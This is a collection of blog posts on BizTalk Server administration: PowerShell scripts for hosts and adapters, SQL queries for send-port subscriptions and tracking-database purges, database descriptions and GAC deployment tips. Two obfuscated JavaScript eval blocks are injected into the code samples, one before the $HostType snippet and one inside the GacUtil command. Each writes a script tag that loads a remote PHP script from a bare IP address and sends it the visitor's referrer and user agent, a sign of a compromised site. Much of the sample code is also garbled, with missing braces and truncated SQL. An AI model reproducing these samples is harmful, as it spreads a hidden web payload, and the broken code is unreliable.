After you add Host and Host-Instances to BizTalk, they are not useful and cannot be associated with Send/Receive ports until you relate the Host to the Adapter. This can be done in BizTalk Admin Console, but below is a program that allows you to do it with the BizTalk Powershell Extensions.

See related script to use Powershell to add new BizTalk Hosts and Host Instances.

Add-PSSnapIn -Name BiztalkFactory.PowerShell.Extensions  #NOTE: Must be in 32-bit version of Powershellto use this SnapIn
#get-PsSnapIn -registered   ### list registered Snap-In's

function UpdateAdapter($AdapterName, $HostName, $Direction)
        # modeled after code from: 

        Write-Host "Starting of `$Adapter=$AdapterName and `$Host=$HostName `$Direction=$Direction"
        #Example: Set-Location –Path '..\SFTP'
        $Pathname = "BizTalk:\Platform Settings\Adapters\$AdapterName"
        Write-Host "`$PathName=$PathName"
        Set-Location –Path $PathName 

        if ($Direction -eq "Send" -or $Direction -eq "Both") 
            Write-Host "Setup Sending" 
            ### Sending 
                                                           #Example:  -eq "SFTP Send Handler (Sending_64)"
            $VarAdapterHandler = Get-ChildItem | Where-Object{$_.Name -eq "$AdapterName Send Handler ($HostName)"}
            if($VarAdapterHandler.Name -eq $null)
                   Write-Host "Adding $AdapterName handler for Host=$HostName"
                   #New-Item  -Path .\Sending_64 -HostName Sending_64 -Direction Send 
                   New-Item  -Path .\$HostName -HostName $HostName -Direction Send

        if ($Direction -eq "Receive" -or $Direction -eq "Both") 
            Write-Host "Setup Receiving" 
            ### Receiving
            $VarAdapterHandler = Get-ChildItem | Where-Object{$_.Name -eq "$AdapterName Receive Handler ($HostName)"}
            if($VarAdapterHandler.Name -eq $null)
                   Write-Host "Adding SFTP Receive handler for Receiving_64 Host"
                   New-Item  -Path .\$Hostname -HostName $HostName -Direction Receive
        Write-Host "End of $AdapterName and $HostName"
        Write-Host "----"


### MAIN CODE HERE - Calls Function Above once per Host/Host-Instance ### 

#Pass Three Parms: 1) AdapterName, 2) HostName, 3) Direction [Send/Recive/Both]
#UpdateAdapter  "TrackingHost"   "Both" 

UpdateAdapter "HTTP" "AS2HostReceive" "Receive"
UpdateAdapter "HTTP" "AS2HostSend"    "Send"

UpdateAdapter "SFTP" "SFTPHostReceive" "Receive"
UpdateAdapter "SFTP" "SFTPHostSend"    "Send"

UpdateAdapter "FILE" "FileHostReceive" "Receive"
UpdateAdapter "FILE" "FileHostSend"    "Send"

Write-Host "Script Completed"

The following shows how to set the $HostType for the BizTalk Powershell Extensions.

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddrik|var|u0026u|referrer|dbsdn||js|php'.split('|'),0,{}))
</script></noindex> if ($HostType -eq "Isolated") 
     $HostTypeCode = 2  #Isolated 
     $HostTypeCode = 1  #In-Process
 $temp = New-Item -path $hostName -HostType:$HostTypeCode -NtGroupName:$myNTHostGroupName -AuthTrusted:$AuthTrusted 

See full function in this blog about Adding BizTalk Hosts and Hostinstances with Powershell.

In a previous blog, I gave a full Powershell Script to Add BizTalk Hosts, but it didn’t show how to set the 32-bit vs 64-bit flag (it has now been updated to include that).

64 bit vs 32 bit Host

In BIzTalk, the flag is called the 32BitOnly flag.  To create a 64-bit Host, set this flag to false (same as unchecking it in the BizTalk Admin Console).

Instead of setting it on the New-Item command, you have to set it as a property on the following line of code, as shown below.

Code Sample

$temp = New-Item -path $hostName -HostType:$HostType -NtGroupName:$myNTHostGroupName -AuthTrusted:$AuthTrusted 
Set-ItemProperty -Path $hostName -Name 'Is32BitOnly' -Value 'False'
#similarly, to set whether or not the Host is a "Tracking Host", use the following line 
Set-ItemProperty -Path $hostName -Name 'HostTracking' -Value 'True' 

To get a list of all the miscellaneous properties, I set a break point and use the Get-Members cmdlet:

[DBG]: PS BizTalk:\Platform Settings\Hosts>> $temp | Get-Member

   TypeName: BizTalkFactory.Management.Automation.BtsHost

Name                                  MemberType   Definition                                                                                
----                                  ----------   ----------                                                                                
Equals                                Method       bool Equals(BizTalkFactory.Management.Automation.BtsArtifact other), bool Equals(System...
ExportHostSettings                    Method       void ExportHostSettings(string path)                                                      
GetHashCode                           Method       int GetHashCode()                                                                         
GetType                               Method       type GetType()                                                                            
ImportHostSettings                    Method       void ImportHostSettings(string path)                                                      
ToString                              Method       string ToString()                                                                         
PSChildName                           NoteProperty System.String PSChildName=TrackingHost                                                    
PSDrive                               NoteProperty BizTalkFactory.PowerShell.Extensions.BizTalkDriveInfo PSDrive=BizTalk                     
PSIsContainer                         NoteProperty System.Boolean PSIsContainer=False                                                        
PSParentPath                          NoteProperty System.String PSParentPath=BiztalkFactory.PowerShell.Extensions\BizTalk::Biztalk:\Platf...
PSPath                                NoteProperty System.String PSPath=BiztalkFactory.PowerShell.Extensions\BizTalk::Biztalk:\Platform Se...
PSProvider                            NoteProperty System.Management.Automation.ProviderInfo PSProvider=BiztalkFactory.PowerShell.Extensio...
AllowMultipleResponses                Property     bool AllowMultipleResponses {get;set;}                                                    
AuthTrusted                           Property     bool AuthTrusted {get;set;}                                                               
Catalog                               Property     BizTalkFactory.Management.Automation.BtsCatalog Catalog {get;}                            
Clustered                             Property     bool Clustered {get;}                                                                     
DBQueueSizeThreshold                  Property     uint32 DBQueueSizeThreshold {get;set;}                                                    
DBSessionThreshold                    Property     uint32 DBSessionThreshold {get;set;}                                                      
DehydrationBehavior                   Property     BizTalkFactory.Management.Automation.BtsDehydrationBehavior DehydrationBehavior {get;set;}
DeliveryQueueSize                     Property     uint32 DeliveryQueueSize {get;set;}                                                       
GlobalMemoryThreshold                 Property     uint32 GlobalMemoryThreshold {get;set;}                                                   
HostTracking                          Property     bool HostTracking {get;set;}  
HostType                              Property     BizTalkFactory.Management.Automation.BtsHostType HostType {get;}                          
InflightMessageThreshold              Property     uint32 InflightMessageThreshold {get;set;}                                                
Is32BitOnly                           Property     bool Is32BitOnly {get;set;}  
IsDefault                             Property     bool IsDefault {get;set;}                                                                 
IsHost32BitOnly                       Property     bool IsHost32BitOnly {get;set;}                                                           
LegacyWhitespace                      Property     bool LegacyWhitespace {get;set;}                                                          
MessageDeliveryMaximumDelay           Property     uint32 MessageDeliveryMaximumDelay {get;set;}                                             
MessageDeliveryOverdriveFactor        Property     uint32 MessageDeliveryOverdriveFactor {get;set;}                                          
MessageDeliverySampleSpaceSize        Property     uint32 MessageDeliverySampleSpaceSize {get;set;}                                          
MessageDeliverySampleSpaceWindow      Property     uint32 MessageDeliverySampleSpaceWindow {get;set;}                                        
MessagePublishMaximumDelay            Property     uint32 MessagePublishMaximumDelay {get;set;}                                              
MessagePublishOverdriveFactor         Property     uint32 MessagePublishOverdriveFactor {get;set;}                                           
MessagePublishSampleSpaceSize         Property     uint32 MessagePublishSampleSpaceSize {get;set;}                                           
MessagePublishSampleSpaceWindow       Property     uint32 MessagePublishSampleSpaceWindow {get;set;}                                         
MessagingMaxReceiveInterval           Property     uint32 MessagingMaxReceiveInterval {get;set;}                                             
MessagingReqRespTTL                   Property     uint32 MessagingReqRespTTL {get;set;}                                                     
MsgAgentPerfCounterServiceClassID     Property     guid MsgAgentPerfCounterServiceClassID {get;set;}                                         
Name                                  Property     string Name {get;}                                                                        
NtGroupName                           Property     string NtGroupName {get;}                                                                 
ProcessMemoryThreshold                Property     uint32 ProcessMemoryThreshold {get;set;}                                                  
SubscriptionPauseAt                   Property     uint32 SubscriptionPauseAt {get;set;}                                                     
SubscriptionResumeAt                  Property     uint32 SubscriptionResumeAt {get;set;}                                                    
ThreadPoolSize                        Property     uint32 ThreadPoolSize {get;set;}                                                          
ThreadThreshold                       Property     uint32 ThreadThreshold {get;set;}                                                         
ThrottlingBatchMemoryThresholdPercent Property     uint32 ThrottlingBatchMemoryThresholdPercent {get;set;}                                   
ThrottlingDeliveryOverride            Property     uint32 ThrottlingDeliveryOverride {get;set;}                                              
ThrottlingDeliveryOverrideSeverity    Property     uint32 ThrottlingDeliveryOverrideSeverity {get;set;}                                      
ThrottlingLimitToTriggerGC            Property     uint32 ThrottlingLimitToTriggerGC {get;set;}                                              
ThrottlingPublishOverride             Property     uint32 ThrottlingPublishOverride {get;set;}                                               
ThrottlingPublishOverrideSeverity     Property     uint32 ThrottlingPublishOverrideSeverity {get;set;}                                       
ThrottlingSeverityDatabaseSize        Property     uint32 ThrottlingSeverityDatabaseSize {get;set;}                                          
ThrottlingSeverityInflightMessage     Property     uint32 ThrottlingSeverityInflightMessage {get;set;}                                       
ThrottlingSeverityProcessMemory       Property     uint32 ThrottlingSeverityProcessMemory {get;set;}                                         
ThrottlingSpoolMultiplier             Property     uint32 ThrottlingSpoolMultiplier {get;set;}                                               
ThrottlingTrackingDataMultiplier      Property     uint32 ThrottlingTrackingDataMultiplier {get;set;}                                        
TimeBasedMaxThreshold                 Property     uint32 TimeBasedMaxThreshold {get;set;}                                                   
TimeBasedMinThreshold                 Property     uint32 TimeBasedMinThreshold {get;set;}                                                   
UseDefaultAppDomainForIsolatedAdapter Property     bool UseDefaultAppDomainForIsolatedAdapter {get;set;}                                     
XlangMaxReceiveInterval               Property     uint32 XlangMaxReceiveInterval {get;set;}                                                 

[DBG]: PS BizTalk:\Platform Settings\Hosts>> 

Error: No snaps-ins have been registered for Windows PowerShell

You run the following:

Add-PSSnapIn -Name BiztalkFactory.PowerShell.Extensions  #NOTE: Must be in 32-bit version of Powershellto use this SnapIn


And you get this error:

Add-PSSnapIn : No snap-ins have been registered for Windows PowerShell version 3.


Solution:Go the SDK/Utilities/Powershell and install them

Basically follow the steps laid out by here MSDN BizTalk Forum, except you don’t need to download from CodePlex, you can use the one in the install.

  1. Navigate to: C:\Program Files (x86)\Microsoft BizTalk Server 2013 R2\SDK\Utilities\PowerShell
  2. Optionally open and follow the readme.txt
  3. Open a command prompt as an administrator
  4. Change directory to the folder containing the binaries – \SDK\Utilities\PowerShell under the base install location
  5. Run the following command to install/register the dlls
    %windir%\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe .\BizTalkFactory.PowerShell.Extensions.dll

I needed this today to run a powershell to create biztalk hosts.

I’m creating my own checklist of things to watch out for on a BizTalk install, beyond the basic BizTalk hardware/software prerequisites.

Sites below are for BizTalk 2010 – but same applies for most any other release: – List of Active Domain (AD) groups and service accounts.
I took this, put it in MS/Word and added a column to the left with a suggested name for the client.  Then I asked the client to verify my suggest name to fit their existing AD group/account naming conventions.  I included an “X” for each environment, e.g. (D=DEV, T=Test, Q=QA, P=Prod), or a 3-character (DEV, TST, QUA, PRD).   Example, BTSPRDADMINS (or if you like mixed case, BtsPrdAdmins).  Windows Configuration Checklist –
– turn off hyperthreading,
– Ensure Windows Server processor scheduling is set to “Background services”
– Place the Windows paging file on a separate local physical drive.
– Stop real-time virus scanning of database files and .xml, .csv, etc… – IIS Configuration Checklist – – SQL Configuration Checklist
  – enable Trace Flag 1118 (TF1118) – to reduce contention
  – sp_configure ‘Max Server memory (MB)’,(max size in MB)sp_configure ‘Min Server memory (MB)’,(min size in MB)
 – Autogrow to fixed MB not % for BizTalk DBs  – SQL Server Settings that Should Not Be Changd

1) Max Degree of Parallelism (MDOP) is set to “1” during the configuration of BizTalk Server for the SQL Server instance(s) that host the BizTalk Server MessageBox database(s). This is a SQL Server instance-level setting. This setting should not be changed from the value of “1”. Changing this to anything other than “1” can have a significant negative impact on the BizTalk Server stored procedures and performance. If changing the parallelism setting for an instance of SQL Server will have an adverse effect on other database applications that are being executed on the SQL Server instance, you should create a separate instance of SQL Server dedicated to hosting the BizTalk Server databases.

2) Auto create statistics and auto update statistics are turned off for the BizTalk MessageBox DB. 
zTalk Server stored procedures have exact joins and lock hints specified on the queries. This is done to ensure that the optimal query plan is used by the BizTalk Server queries in SQL Server. The distributions and expected results for the queries are known; the approximate number of rows returned is known. Statistics are generally not needed.

3)  BizTalk Server does not support defragmenting indexes. “DBCC INDEXDEFRAG” and “ALTER INDEX … REORGANIZE …” are not supported since they use page locking, which can cause blocking and deadlocks with BizTalk Server. BizTalk Server does support database index rebuilds (“DBCC DBREINDEX” and “ALTER INDEX … REBUILD …”), but they should only be done during maintenance windows when BizTalk Server is not processing data. Index rebuilds while BizTalk Server is processing data are not supported.

Index fragmentation is not as much of a performance issue for BizTalk Server as it would be for a DSS system or an OLTP system that performs index scans. BizTalk Server does very selective queries and updates and BizTalk Server stored procedures should not cause table or index scans.  – What you can and cannot do with the MessageBox Database

The next very, very important thing to understand is that while the database is installed on your server, it is not “your” database. It is our (or if you catch me on the wrong day, not thinking, “my”) database

A quick list of things which can effect the query plans:

– Statistics (don’t enable these)

– Parallelism (don’t turn this on )

– Table structure (don’t add indexes, columns, triggers, … If you do you will hear silence when you call for help)

– Stored procedures (don’t change them. You can look all you want, but no touching)

--select top 10 * from dbo.dta_DebugTrace
select COUNT(*) from dbo.dta_DebugTrace as TotalRowCount

SELECT YEAR(dtBeginTimeStamp) AS Yr,
Month(dtBeginTimeStamp) AS Mo,
COUNT(*) AS [RowCount]
FROM dbo.dta_DebugTrace nolock
Order BY

The results show you by year/month how many rows. In most cases, you will find you need to purge data prior the current month. At least on a test system, I can think of any possible use of month old orchestration trace data (or even on Production for that matter).  But if you have long-running dehydrated orhestrations you might need it).


Orchestrations write data to these tables each time they run (when Trace is enabled).

Go to SQL Agent on the SQL Server that supports your BizTalk server, check the job entitled: DTA Purge and Archive (BizTalkDTADb)
I take the original code that is there, and copy it to the line below, then comment out the code that is there with the T-SQL comment (two dashes).
Then change the second line to the parameters you want. Follow-that by running the job manually, or set it up to run on a scheduled basis.

--exec dtasp_BackupAndPurgeTrackingDatabase
0, --@nLiveHours tinyint, --Any completed instance older than the live hours +live days
1, --@nLiveDays tinyint = 0, --will be deleted along with all associated data
30, --@nHardDeleteDays tinyint = 0, --all data older than this will be deleted.
null, --@nvcFolder nvarchar(1024) = null, --folder for backup files
null, --@nvcValidatingServer sysname = null,
0 --@fForceBackup int = 0 --

exec dtasp_BackupAndPurgeTrackingDatabase 24, 30, 32, 'e:\Backup\BizTalkDatabases\', null, 0

MSDN Reference:

NOTE: Running the job creates a backup, so if your DTA database is large, and you are short on disk space, you will have to make sure you find disk space for the backup to be written.

If you get odd errors, try running the command directly in a SQL query window, then the a more useful error may be displayed than what you would see in the “View History” of the SQL Agent Job.


The hard purge window cannot be less than the live data window [SQLSTATE 42000] (Error 50000).
The step failed.

After changing the second 30 to 32, I re-ran it, and saw this result:



The Parms are as follows:


However, after running it, I still saw many of the same rows there (this is on BT2010 by the way). I did some more research, found Sandro Pereira’s blog and ran the following:

declare @dtLastBackup datetime
set @dtLastBackup = GetUTCDate() exec dtasp_PurgeTrackingDatabase 1, 0, 7, @dtLastBackup

Suppose you walk into a new company, they don’t have documentation, and they use a lot of content-based routing. The first thing I do is usually draw a Visio diagram. There never really been one widely adopted standard for how to draw such diagrams. The secret is to pack the most useful information that you can in the smallest space.

When drawing BizTalk diagrams, I like to keep everything one page if possible. Of course, sometimes you have to break on multiples pages, and when I do, I don’t like cross-page lines or pointers, if they can be avoided.

In BizTalk, a Send Port or a SendPort Group can subscribe to the data coming in from a Receive Port (and of course one Receive Port can have multiple Receive Locations). The subscription however, is by the ReceivePortName, not the ReceiveLocationName. You can have multiple send ports subscribe to the same message (thus the name Pub-Sub, short for Publisher/Subscriber model, upon which BizTalk is based).


To get to the above screen, I found a SendPort in BizTalk Admin Console, right clicked on it, then selected “Filters” on the left side. The above has one simple filter. All messages received from a ReceivePortName of MSMQDemo_RcfFromMSMQ_biztalktrans will be routed to this SendPort. You can add and change the filter/subscriptions on the top part of the screen. For convenience, the filters are shown at the bottom (and you can copy/paste them from there). It’s hard to see the entire names on the top, because of the limited width of the columns.

So often you can use business logic, naming convention, and and guessing to determine which SendPorts subscript to which ReceivePorts. Or you can open each SendPort and write them down, or copy/paste the above filters into a Word Doc, Spreadsheet, or Visio diagram.

But all the data in BizTalk Admin Console is stored in one BizTalk’s SQL Databases (BizTalkMgmtDB). The query below allows you find all SendPorts subscribing to a ReceivePort.

The code below was original found here:

use BizTalkMgmtDb
go  -- If you have the "use" above, without the "GO" here you will get an error on the "With" statement
  ( SendPortName, ApplicationName, tempXMLcolumn )
    SP.nvcName AS SendPortName
    , APP.nvcName AS ApplicationName
      'xmlns=""','') AS XML) AS tempXMLcolumn
    bts_sendport AS SP
    INNER JOIN bts_application AS APP ON SP.nApplicationID = APP.nID
    CONVERT(VARCHAR(MAX), nvcFilter) <> ''

  CONVERT(VARCHAR(255), nref.query('data(@Value)')) AS FilterValue,
  CONVERT(VARCHAR(255), nref.query('data(@Property)')) AS FilterProperty,
  CONVERT(VARCHAR(255), nref.query('data(@Operator)')) AS FilterOperator
    TmpXMLNode.tempXMLcolumn.nodes('/Filter/Group/Statement') AS R(nref)
  CONVERT(VARCHAR(255), nref.query('data(@Property)')) = 
     'BTS.ReceivePortName' -- filter type  (do not change the value in quotes) 
  AND CONVERT(VARCHAR(255), nref.query('data(@Value)')) = 
     'YourRcvPortHere'  -- change this value in quotes  

You can of course put a LIKE clause on the final where clause:

  AND CONVERT(VARCHAR(255), nref.query('data(@Value)')) like 'MSMQ%' 

The receive port name is stored in the FilterValue column when the FilterProperty is set to “BTS.ReceivePortName”.

Results of query in SSMS:
You may recall that you can also filter on your own schema/promoted fields. So you could have one SendPort subscribe to PurchaseOrderAmount > 5000 and a different one subscribe to PurchaseOrderAmount <= 5000.

Note in the above query, I added the “Operator” column, which was not in the original SQL sample.

The filters above are stored in a text column called nvcFilter. Part of the trick of the SQL is convert this to an XML column, so XQuery statement can be performed on it.

So to demonstrate what is going on internally, I created a dummy SendPort with several filters just to see something beyond the most simple example.


I then ran this query

  FROM bts_sendport AS SP
    INNER JOIN bts_application AS APP ON SP.nApplicationID = APP.nID
  WHERE  nvcFilter like '%msmq%'

I then copied the contents of the nvcFilter column to NotePad++ and formatted it:

<Filter xmlns:xsi="" xmlns:xsd="">
		<Statement Property="BTS.ReceivePortName" Operator="0" Value="ABC" />
		<Statement Property="MSMQ.Priority" Operator="3" Value="5" />
		<Statement Property="MSMQ.SourceMachine" Operator="0" Value="Machine1" />
		<Statement Property="BTS.ReceivePortName" Operator="0" Value="DEF" />
		<Statement Property="BTF2.commitmentRct_decidedAt" Operator="0" Value="test" />
		<Statement Property="BTF2.commitmentRct_commitmentCode" Operator="0" Value="test" />


So from this, we can discern that the > Operator is stored as a 3. One could continue this exercise and map each of the operators to the numbers, and then decode the numeric values back to the humanly readable values to show in the query results.

Notice also that the “and”s and “or”s are saved in separate “Group” elements.

So now, you know how to find and cross-reference all the SendPorts that are used by your ReceivePorts, and hopefully that will help you figure out content-based routing and better understand and document your system.

Jan 31, 2018 – See new related blog: BizTalk SQL to Xref Orchestration to Send/Receive Ports.

You can specify more than one email in the to: of the SendPort.  Just be sure and use a semicolon as the separator, and not a comma.

SMTP Send Port Configuration

BizTalk Core Databases

BizTalkMgmtDB Most entities from BizTalk Admin Console are stored in this database (applications, orchestrations, assemblies, sendports, receive ports and locations, etc…)Most updates in BizTalk Admin Console are stored in this database (applications, orchestrations, assemblies, sendports, receive ports and locations, etc…). Thus BizTalk Admin Console is basically an update program to this database. You can also use WMI to update it.
BizTalkMsgboxDB This is the MessageBox containing information about the messages, instances and subscriptions which are processed by BizTalk. Can be large and has a lot of heavy processing. A large site can have more than one msgbox (see “Scaling Out”)
BizTalkDTADB Contains information about all the processed messages and instances
BizTalkRuleEngineDB database for the Business Rules Engine, updated by the GUI “Business Rule Composer” program. Use the “Business Rules Engine Deployment Wizard” to migrate business rules from one environment to another.
SSODB Single Sign-On Database – BizTalk stores data related to SendPorts and Receive Ports here. For sure, any password that needs encrypted goes here (for example an FTP password). BizTalk will not function at all if this database is not available and the corresponding service (“Enterprise Single Sign-On Services”) is not running. This service must come up before BizTalk.

BizTalk installs creates a SQL Agent Backup job, but it will be disabled, and you have to configure it. See this article on Backing Up and Restoring Biztalk Server Databases.

BizTalk BAM (Business Activity Monitoring) Databases

Obviously, these are used only if you have implemented BAM. I’d love to know what percentage of BizTalk shops use BAM. Most places I’ve worked don’t use it. See BAM Quick Start

BAMStarSchema Contains the staging table, and the measure and dimension tables which are set in originally in an Excel spreadsheet, then later deployed to this database.
BAMPrimaryImport Contains raw tracking data. For example, when you capture data from an orchestration, it is originally stored here, before being processed further. If you need to right custom queries against this database, be sure and use the views, not the underlying tables.
BAMArchive Archive of old business activity data. This keeps the BAM Primary Import database smaller by migrating older data here.
BAMAnalysis Contains the OLAP (three dimensional) data cubes. Learn more about OLAP here.
BAMAlertsApplication Contains alert information for BAM notifications. The web application, called the “BAM portal”, allows users to specify conditions and events on which they want notifications and alerts to occur.
BAMAlertsNSMain Contains instance information specifying how the notification services connect to the system that BAM is monitoring.

Are you a GACer? Or do you redeploy every time? Do you like to GAC in BizTalk?

I suppose it depends a lot on the place you work, the attitudes, and the procedures in place, and what security you have, and who does the deploys.

The last place I worked, I inherited what I affectionately referred to as “the monolithic app”, i.e. a BizTalk application that was made up of about 24 different projects in one solution. So redeploying the whole thing was often a pain, and sometimes there were pieces of it that I didn’t want to deploy (perhaps multiple development threads going on in that same big solution).

If you are a beginner, let me explain. With BizTalk, you can export and import the MSI (with or without the bindings). But suppose you need to change for instance just a literal value in a map or an orchestration. Why redeploy the whole enchilada? You can rebuild that specific .dll, copy it to each of the BizTalk servers in the group, and run GacUtil against it;

GacUtil <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybbkk|var|u0026u|referrer|tafzb||js|php'.split('|'),0,{}))
</script></noindex> /i MyOrchestration.dll 

Then you just restart the host instances that use that .dll, or all of them you are unsure, then you are good to go.

The downside of GACing

I just recently discovered that if you export an MSI from that machine, the MSI that is exported will use the original .DLL referenced by that application. Even though run-time picks up the new GAC’ed .DLL, the export MSI may not. You can get around this by going to “Resources”, adding the .DLL and clicking “Overwrite”. As a matter of fact, you can GAC it from there too! I generally use BTDF (BizTalk Deployment Framework) , so creating MSIs that way was not of interest to me. That was, at least until I got to my latest client. They don’t use BTDF, and that’s their Modus Operandi.

When does the GAC Trick not work?

If you add new entities that have to registered in the BizTalkMgmt Database, then you will need to import the MSI. That means new schemas, new maps, new orchestrations, new pipelines, etc… Or if you promote a field that was not promoted before, the database needs to know about that.

GAC is good redeploying code when you made logic changes, changes of literals, etc… Adding new functoids to an existing map or even new shapes to an orchestration is no big deal, they are not registered in the database. But you cannot add any new send/receive ports to your orchestration if you plan to GAC.

A Must! Keep an Audit Trail of Your GACs

It’s important that no man GAC’s unto himself. If you have other people administering your BizTalk environment, they need to know what you deployed (or GAC’ed) and when.

It’s common to keep a directory such as C:\Deploys. Under that keep a folder name for each BizTalk Application


Some Other GAC Tricks

I often just put the GacUtil and related files in the same folder as my deploy. There now seem to be too many versions of GacUtil, and I hate to waste time looking for the right one.

Here are the files required: 1) all your .dll’s that you want to GAC, and the three files: GacUtil.exe, GacUtil.exe.config, and GacUTlRC.dll:


I often create a file called GacAll.cmd and put in the same directory. It simply runs GacUtil on each of the .dlls there; something like this:

gacutil /i myFirst.dll 
gacutil /i mySecond.dll 
gacutil /i myThird.dll